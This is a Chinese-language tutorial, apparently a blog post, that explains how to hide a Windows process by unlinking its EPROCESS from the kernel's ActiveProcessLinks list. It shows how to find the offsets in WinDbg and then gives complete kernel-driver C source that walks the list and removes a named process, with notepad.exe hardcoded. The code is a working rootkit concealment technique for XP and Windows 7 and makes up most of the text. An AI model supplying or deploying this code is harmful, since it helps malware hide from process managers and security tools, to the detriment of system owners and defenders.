首先,我们知道,进程体EPROCESS是被系统维护在一个双向链表LIST_ENTRY中的,那么,我们只要把进程的EPROCESS从这个链表中摘除,就可以实现进程隐藏了,当然,这只能瞒过进程管理器和zwQuerySystemInformation,暴力枚举依旧可以发现断链隐藏的进程,因为进程体还在内存中,这个以后再说。
要隐藏我们指定的某个进程,我们肯定需要遍历整个EPROCESS链表, 当EPROCESS对应的进程名与 我们所指定的进程的进程名一样时,我们就把该EPROCESS从链表中移除。
这里。我们遇到两个问题,:
1.既然要遍历链表,我们就要知道每个结构的前后结构;
2.既然要对比进程名,我们就要知道进程名放在哪个地方;
以上两个问题,借助Windbg,我们就可以解决
下面我们以x86为例:
在windbg中,我们先看一下EPROCESS的结构,输入命令dt _EPROCESS,可以发现在偏移0x88处,有一个变量ActiveProcessLinks,它的类型为LIST_ENTRY
在输入命令dt _LIST_ENTRY,查看LIST_ENTRY的结构,可以看到变量FLink和BLink,FLink指向当前节点的后一个节点的ActiveProcessLinks地址,BLink指向当前结点的前一个节点的ActiveProcessLinks地址
继续往下,我们可以看到在偏移0x174处,出现了ImageFileName,这里存的就是我们要找的进程名
下面我们切入一个进程实际看一下 输入命令!process 0 0,就可以显示所有进程信息
然后,输入命令dt _EPROCESS 895d6da0就可以切入进程smss.exe了
smss.exe的后一个结点的 ActiveProcessLinks就放在地址0x89a6d778中,用dd 0x89a6d778命令查看地址0x89a6d778中的内容,
注意,因为FLink指向当前节点的后一个节点的ActiveProcessLinks地址,所以后一个节点的EPROCESS地址为ActiveProcessLinks地址减去FLink偏移0x88
然后就可以找到smss.exe的下一个进程winlogon.exe了,这就印证了上面的截图中看到smss.exe的下一个进程是winlogon.exe
这样,我们就解决了我们所遇到的问题,对于x64,方法是一样的,读者可以自行练习。代码如下:
1 #ifndef CXX_HIDEPROCESS_H 2 # include "HideProcess.h" 3 #endif 4 5 6 ULONG_PTR ActiveOffsetPre = 0; 7 ULONG_PTR ActiveOffsetNext = 0; 8 ULONG_PTR ImageName = 0; 9 WIN_VERSION WinVersion = WINDOWS_UNKNOW; 10 11 PLIST_ENTRY Temp = NULL; 12 PLIST_ENTRY HeadEntry = NULL; 13 NTSTATUS 14 DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath) 15 { 16 17 18 DbgPrint("DriverEntry "); 19 20 DriverObject->DriverUnload = UnloadDriver; 21 22 23 WinVersion = GetWindowsVersion(); 24 25 26 switch(WinVersion) 27 { 28 case WINDOWS_XP: //32Bits 29 { 30 31 ActiveOffsetPre = 0x8c; 32 ActiveOffsetNext = 0x88; 33 ImageName = 0x174; 34 break; 35 } 36 37 case WINDOWS_7: //64Bits 38 { 39 ActiveOffsetPre = 0x190; 40 ActiveOffsetNext = 0x188; 41 ImageName = 0x2e0; 42 break; 43 } 44 } 45 46 47 HideProcess("notepad.exe"); 48 49 HeadEntry = (PLIST_ENTRY)((ULONG_PTR)PsGetCurrentProcess()+ActiveOffsetNext);// 在DriverEntry中执行得到的才是System进程 50 51 return STATUS_SUCCESS; 52 53 } 54 55 VOID HideProcess(char* ProcessName) 56 { 57 PEPROCESS EProcessCurrent = NULL; 58 PEPROCESS EProcessPre = NULL; 59 60 61 EProcessCurrent = PsGetCurrentProcess(); //System EProcess 62 63 64 65 EProcessPre = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetPre)))-ActiveOffsetNext); 66 67 //DbgPrint("EProcessCurrent: 0x%p ",EProcessCurrent); 68 69 //DbgPrint("EProcessNext: 0x%p ",EProcessNext); 70 71 72 73 while (EProcessCurrent!=EProcessPre) 74 { 75 // DbgPrint("%s ",(char*)((ULONG_PTR)EProcessCurrent+ImageName)); 76 77 78 if(strcmp((char*)((ULONG_PTR)EProcessCurrent+ImageName),ProcessName)==0) 79 { 80 81 82 Temp = (PLIST_ENTRY)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext); 83 84 if (MmIsAddressValid(Temp)) 85 { 86 // Temp->Blink->Flink = Temp->Flink; 87 // Temp->Flink->Blink = Temp->Blink; //数据结构 不稳定 88 89 90 RemoveEntryList(Temp); 91 92 93 } 94 95 96 break; 97 } 98 99 EProcessCurrent = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext)))-ActiveOffsetNext); 100 101 102 } 103 } 104 105 VOID UnloadDriver(PDRIVER_OBJECT DriverObject) 106 { 107 ResumeProcess(); 108 DbgPrint("UnloadDriver "); 109 } 110 111 VOID ResumeProcess() 112 { 113 114 if(Temp!=NULL) 115 { 116 InsertHeadList(HeadEntry,Temp); 117 } 118 119 120 } 121 122 123 124 125 126 127 WIN_VERSION GetWindowsVersion() 128 { 129 RTL_OSVERSIONINFOEXW osverInfo = {sizeof(osverInfo)}; 130 pfnRtlGetVersion RtlGetVersion = NULL; 131 WIN_VERSION WinVersion; 132 WCHAR wzRtlGetVersion[] = L"RtlGetVersion"; 133 134 RtlGetVersion = GetFunctionAddressByName(wzRtlGetVersion); //Ntoskrnl.exe 导出表 135 if (RtlGetVersion) 136 { 137 RtlGetVersion((PRTL_OSVERSIONINFOW)&osverInfo); 138 } 139 else 140 { 141 PsGetVersion(&osverInfo.dwMajorVersion, &osverInfo.dwMinorVersion, &osverInfo.dwBuildNumber, NULL); //Documet 142 } 143 144 DbgPrint("Build Number: %d ", osverInfo.dwBuildNumber); 145 146 if (osverInfo.dwMajorVersion == 5 && osverInfo.dwMinorVersion == 1) 147 { 148 DbgPrint("WINDOWS_XP "); 149 WinVersion = WINDOWS_XP; 150 } 151 else if (osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1) 152 { 153 DbgPrint("WINDOWS 7 "); 154 WinVersion = WINDOWS_7; 155 } 156 else if (osverInfo.dwMajorVersion == 6 && 157 osverInfo.dwMinorVersion == 2 && 158 osverInfo.dwBuildNumber == 9200) 159 { 160 DbgPrint("WINDOWS 8 "); 161 WinVersion = WINDOWS_8; 162 } 163 else if (osverInfo.dwMajorVersion == 6 && 164 osverInfo.dwMinorVersion == 3 && 165 osverInfo.dwBuildNumber == 9600) 166 { 167 DbgPrint("WINDOWS 8.1 "); 168 WinVersion = WINDOWS_8_1; 169 } 170 else 171 { 172 DbgPrint("WINDOWS_UNKNOW "); 173 WinVersion = WINDOWS_UNKNOW; 174 } 175 176 return WinVersion; 177 } 178 179 180 PVOID 181 GetFunctionAddressByName(WCHAR *wzFunction) 182 { 183 UNICODE_STRING uniFunction; 184 PVOID AddrBase = NULL; 185 186 if (wzFunction && wcslen(wzFunction) > 0) 187 { 188 RtlInitUnicodeString(&uniFunction, wzFunction); //常量指针 189 AddrBase = MmGetSystemRoutineAddress(&uniFunction); //在System 进程 第一个模块 Ntosknrl.exe ExportTable 190 } 191 192 return AddrBase; 193 }